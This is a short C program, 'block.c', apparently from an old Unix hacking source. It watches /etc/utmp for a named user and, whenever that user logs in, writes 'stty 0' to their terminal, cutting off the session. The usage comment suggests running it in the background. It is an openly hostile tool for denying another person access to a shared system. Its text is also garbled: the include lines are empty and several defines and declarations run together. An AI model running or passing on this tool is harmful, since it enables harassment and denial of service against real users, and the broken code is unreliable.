/* block.c -- prevent a user from logging in * by Shooting Shark * usage : block username [&] * I suggest you run this in background. */ #include #include #include #include #include #define W_OK2 #define SLEEP5 #define UTMP"/etc/utmp" #define TTY_PRE "/dev/" main(ac,av) int ac; char *av[]; { int target, fp, open(); struct utmpuser; struct termio*opts; char buf[30], buf2[50]; if (ac != 2) { printf("usage : %s username\n",av[0]); exit(-1); } for (;;) { if ((fp = open(UTMP,0)) == -1) { printf("fatal error! cannot open %s.\n",UTMP); exit(-1); } while (read(fp, &user, sizeof user) > 0) { if (isprint(user.ut_name[0])) { if (!(strcmp(user.ut_name,av[1]))) { printf("%s is logging in...",user.ut_name); sprintf(buf,"%s%s",TTY_PRE,user.ut_line); printf("%s\n",buf); if (access(buf,W_OK) == -1) { printf("failed - program aborting.\n"); exit(-1); } else { if ((target = open(buf,O_WRONLY)) != EOF) { sprintf(buf2,"stty 0 > %s",buf); system(buf2); printf("killed.\n"); sleep(10); } } /* else */ } /* if strcmp */ } /* if isprint */ } /* while */ close(fp); /*sleep(SLEEP); */ } /* for */ }